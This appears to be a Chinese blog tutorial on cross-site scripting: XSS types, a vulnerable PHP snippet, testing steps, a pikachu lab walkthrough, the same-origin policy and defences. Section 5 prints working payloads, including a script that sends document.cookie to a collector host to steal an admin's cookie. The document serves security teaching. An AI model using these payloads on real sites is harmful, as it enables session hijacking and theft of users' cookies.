首页 > 其他分享 >09.XSS跨站脚本攻击(超详细!!!)

09.XSS跨站脚本攻击(超详细!!!)

时间:2024-08-03 10:25:53浏览次数:22  
标签:脚本 XSS 跨站 浏览器 DOM 09 恶意 ENT

1、什么是XSS

XSS(跨站脚本攻击):攻击者利用这个漏洞将恶意脚本注入到网页中,当其它用户浏览这些页面时,恶意脚本会在用户的浏览器中执行。XSS攻击允许攻击者在用户的浏览器上执行脚本,从而可能获取用户的敏感信息(如cookies)、篡改网页内容、重定向用户至恶意站点,甚至进行钓鱼攻击等。

2、漏洞产生的原因

XSS漏洞产生的原因主要是Web应用对用户输入的数据过滤和检查不严格,没有进行适当的处理(如编码或转义),导致攻击者能够注入恶意脚本,这些脚本在用户的浏览器中执行

3、XSS分类

XSS攻击主要分为以下几种类型:

反射型XSS(Non-Persistent XSS):这种攻击的特点是恶意脚本不是存储在服务器上,而是通过用户提供的数据作为参数嵌入到动态生成的网页链接中。当其他用户点击这个链接时,恶意脚本在他们的浏览器中执行。

存储型XSS(Persistent XSS):这种攻击类型中,恶意脚本被存储在服务器端,例如在数据库或服务器文件中。当其他用户访问存储了恶意脚本的页面时,脚本会被执行。

DOM Based XSS:这种类型的XSS攻击源于前端JavaScript对用户输入数据的不当处理,而不是来自服务器端响应。它利用的是浏览器的DOM环境,而不是HTML文档本身的漏洞。

3.1 反射型XSS(中危)

<?php
$name = $_GET['id'];
echo "Welcome $name<br>";
?>

在这里插入图片描述
在这段代码中程序接受id的值,并且输出,如果提交xss.php?id=,因为程序并没有进行XSS代码过滤,最终造成反射型XSS漏洞

3.2 存储型XSS(高危)

交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性

与反射型XSS相比,唯一的区别就是XSS代码被带入数据,在下次浏览时,又被读取出来使用

<script>alert(1)</script>

在这里插入图片描述

在这里插入图片描述

3.3 DOM XSS(低危)

不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞。

什么是DOM:DOM全称是Document Object Model,也就是文档对象模型。我们可以将DOM理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态地访问和修改文档内容、结构和样式。当创建好一个页面并加载到浏览器时,DOM就悄然而生,它会把网页文档转换为一个文档对象,主要功能是处理网页内容。故可以使用 Javascript 语言来操作DOM以达到网页的目的。

<a href='"+str+"'>what do you see?</a>

<a href='#' onclick="alert(1111)">what do you see?</a>

<a href='#' onclick="alert(2222)">what do you see?</a>

在这里插入图片描述

4、XSS测试方法

1、工具扫描:APPscan、AWVS

2、手工测试:Burpsuite、firefox(hackbar)、XSSER XSSF

(1)在目标站点上找到输入点,比如查询接口,留言板等;
(2)输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;
(3)通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在XSS漏洞;

5、XSS平台搭建及cookie获取

5.1 XSS平台搭建

进入pikachu靶场,点击【管理工具】=> 【XSS后台】

在这里插入图片描述

进入这个界面后,点击进行初始化安装

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

5.2 获取管理员cookies

登录pikachu页面,打开【XSS之盲打】,检查是否存在XSS注入

111'"><script>alert(1)</script>

在这里插入图片描述

注入后没有任何弹出的窗口,访问以下路径,登录管理员的后台看看

在这里插入图片描述

登录用户名和密码分别是admin和123456

在这里插入图片描述

发现登录进去之后会弹出我们刚才注入的信息

在这里插入图片描述

在这里插入图片描述

把pikachu中的pkxss目录复制一份到WWW目录下,然后修改C:\tools\phpstudy\WWW\pkxss\xcookie下的cookie.php文件,将IP地址改为192.168.1.11:90

在这里插入图片描述

通过下面的代码获取cookie

<script>document.location='http://192.168.1.11:90/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>
//通过document.location 实例进行重定向

注入后提交

在这里插入图片描述

再登录到管理员后台,发现登录完成后会自动跳转到首页

在这里插入图片描述

在这里插入图片描述

这样就可以获取管理员的cookies

6、同源策略

6.1 什么是跨域

http:// www.   oldboyedu.com :80 /   news/index.php
协议    子域名    主域名       端口      资源地址

当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。

6.2 同源策略

**同源策略(Same-Origin Policy,简称SOP)**是一种浏览器安全机制,用于限制一个源(origin)的文档或脚本如何与另一个源的资源进行交互。这个策略的目的是防止恶意文档窃取数据或对另一个源进行恶意操作。

同源策略的主要限制包括:
① 数据访问限制:不同源的网页不能通过JavaScript读取或修改对方的DOM树和数据。
② Cookie和Session:浏览器在发送HTTP请求时,不会携带跨源的Cookie和Session信息。
③ Web Storage:localStorage和sessionStorage等Web存储API遵循同源策略,不同源的页面不能访问彼此的存储数据。
④ Web SQL和IndexedDB:这些客户端存储数据库API也受到同源策略的限制。
⑤ 跨源AJAX请求:通过XMLHttpRequest或Fetch API进行的AJAX请求默认情况下不能跨源请求数据,除非服务器端设置了适当的CORS(跨源资源共享)策略。

**Tips:**下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的

<script src="...">  //加载本地js执行
<img src="...">  //图片
<link href="...">  //css
<iframe src="...">  //任意资源

7、绕过htmlspecialchars()函数

htmlspecialchars() 是PHP中用于转义HTML特殊字符的函数,确保输出的字符串可以安全地显示为纯文本,避免XSS(跨站脚本)攻击。这个函数将几个预定义的HTML字符转换为它们的HTML实体等价物:

& 转换为 &amp;
" 转换为 &quot;(双引号)
' 转换为 &#039; 或 &apos;(单引号)
< 转换为 &lt;
> 转换为 &gt;

参数说明:
$string:需要转义的原始字符串。
$flags:指定转义的模式,可以是以下常量之一或组合:
ENT_COMPAT:默认值,转换<>"'&字符。
ENT_QUOTES:转换双引号和单引号。
ENT_NOQUOTES:不转换引号,只转换<>&。
ENT_HTML401:遵守HTML 4.01规范。
ENT_XML1:遵守XML 1规范。
ENT_XHTML:遵守XHTML规范。
ENT_HTML5:遵守HTML 5规范。
$encoding:指定字符编码。默认为UTF-8。
$double_encode:当设为true时,会连续转义现有的实体。如果设为false,不会对&等实体进行二次转义。

8、XSS防御

① 对用户输入进行严格的验证和过滤,使用白名单或黑名单方法。
② 对输出到页面的数据进行编码或转义,防止执行。
③ 实施内容安全策略(CSP),限制网页可以加载和执行的资源。
④ 设置HTTPOnly标志的Cookie,防止JavaScript访问。
⑤ 使用前端安全库进行DOM净化,防止基于DOM的XSS攻击。
⑥ 定期进行安全审计和代码审查,及时修复安全漏洞。

标签:脚本,XSS,跨站,浏览器,DOM,09,恶意,ENT
From: https://blog.csdn.net/m0_72760503/article/details/140867935

相关文章

  • Codeforces Round 909 (Div. 3)--题目描述无法名状
    好吧,可能是我的文字功底太弱了,首先滴就是这个B题题目链接我一开始还以为这个能排序,就是算排完序之后的最大差,但是仔细一看题目,好像不要求使用排序,于是就尝试暴力做法。我发现的暴力做法是枚举k,直到k==n/2为止,当时是因为没有开longlong导致WA了,后面发现时间不是怎么多就没有......
  • 基于SpringBoot的智能购房推荐系统-09040(免费领源码)可做计算机毕业设计JAVA、PHP、爬
    Springboot智能购房推荐系统摘 要近年来随着我国经济的高速发展,房地产业也随之蓬勃发展,尤其是最近国家新出台的房改政策。鼓励居民购房,这对房产公司无疑是一个极好的发展势头。尤为重要的是,近几年随着信息技术和电子商务的快速发展,许多企业都开发了自己房产信息软件。智......
  • 没有算力?我发现一个白PIAO 4090 GPU的机会
    最近发现京东云在推他们的GPU算力平台,竟然被我发现一个白嫖的机会,花9块9,可以用两天英伟达4090,太爽了。不知道是不是他们的一个BUG,反正现在亲测有效。我是凌晨1点买的,原以为是第二天凌晨1点就到期了,没想到是第二天晚上12点才到期,应该是他们代码逻辑有问题,开始时间算成了下单的......
  • 洛谷-P3869 [TJOI2009] 宝藏
    Abstract传送门本题是状态压缩+记忆化BFS的典型例子。Idea要求从出发点到终点的最短步数,BFS自然是首选的方法,那么,如何构造搜索的每一个节点呢?考虑到机关的数量比较小,最多10种,我们可以考虑用状态压缩去描述机关当前的状态,然后再记录当前的横纵坐标,以及行走的步数即可。值得......
  • 从零开始学嵌入式技术之C语言09:数组
    一:数组的概念(1)概念        数组(Array),是多个相同类型数据按一定顺序排列的集合,并使用一个标识符命名,并通过编号(索引,亦称为下标或角标)的方式对这些数据进行统一管理。    数组名:本质上是一个标识符常量,命名需要符合标识符规范。元素:同一个数组中的元素必须是相......
  • Tiny XSS Payloads 微型XSS代码
    项目地址GitHub:https://github.com/terjanq/Tiny-XSS-Payloads网站地址https://tinyxss.terjanq.me截图 payload列表当前有效载荷<!--如果你控制URL--><svg/onload=eval(`'`+URL)><!--仅在反射型跨站脚本攻击(ReflectedXSS)场景下有效--><svg/onload=eval(name)......
  • 杂交版修改器22.09下载-新增百度网盘下载链接
    修改器适配游戏版本:2.2修改器版本:22.09下载链接:夸克:https://pan.quark.cn/s/2c60571e9b0d百度:https://pan.baidu.com/s/1NFMpQXupke_QqNjjAkRd9w?pwd=3wtj修改器官网:https://www.cnblogs.com/bilibilihhwh(所有更新都在这里)修改器功能搜索指南:https://kdocs.cn/l/csjYc9FcQwA......
  • LeetCode | 209 MinimumSizeSubarraySum
    分析本题中是找与target相符的最小连续的子数组和,找一个能够容纳target这么大的最小子区间。虽然本节引入了滑动窗口的概念,可我更偏好于,这是一只毛毛虫在数组上的移动,找到最小的容纳自己位置的地方target可看作毛虫本身的重量,数组中的每个元素值表示可承受的重量,right右指针看......
  • 北邮809数据结构考研资料+经验分享(看到最后)
    本人成绩: ●政治:66 ●英语(一):82 ●数学(一):113 ●数据结构(809):142总分403 初试第二名复试第四名总成绩第二名809和统考408的数据结构有诸多区别,比如ASL计算方法的区别,一些复杂度的区别,循环队列、栈的下标区别,经典算法设计思路的区别,还有一些809特有的经典算法比如......
  • 安全测试--常见漏洞--XSS
    漏洞简介Cross-SiteScripting(为了与CSS区别,安全领域叫做XSS)攻击是注入的一种,主要是将恶意脚本注入到可信站点的HTML页面等网页文件中,当攻击者将带有恶意脚本的网页链接发送给用户,用户打开链接,浏览器会认为恶意脚本来自可信站点而执行举个例子 @app.route("/")defindex():......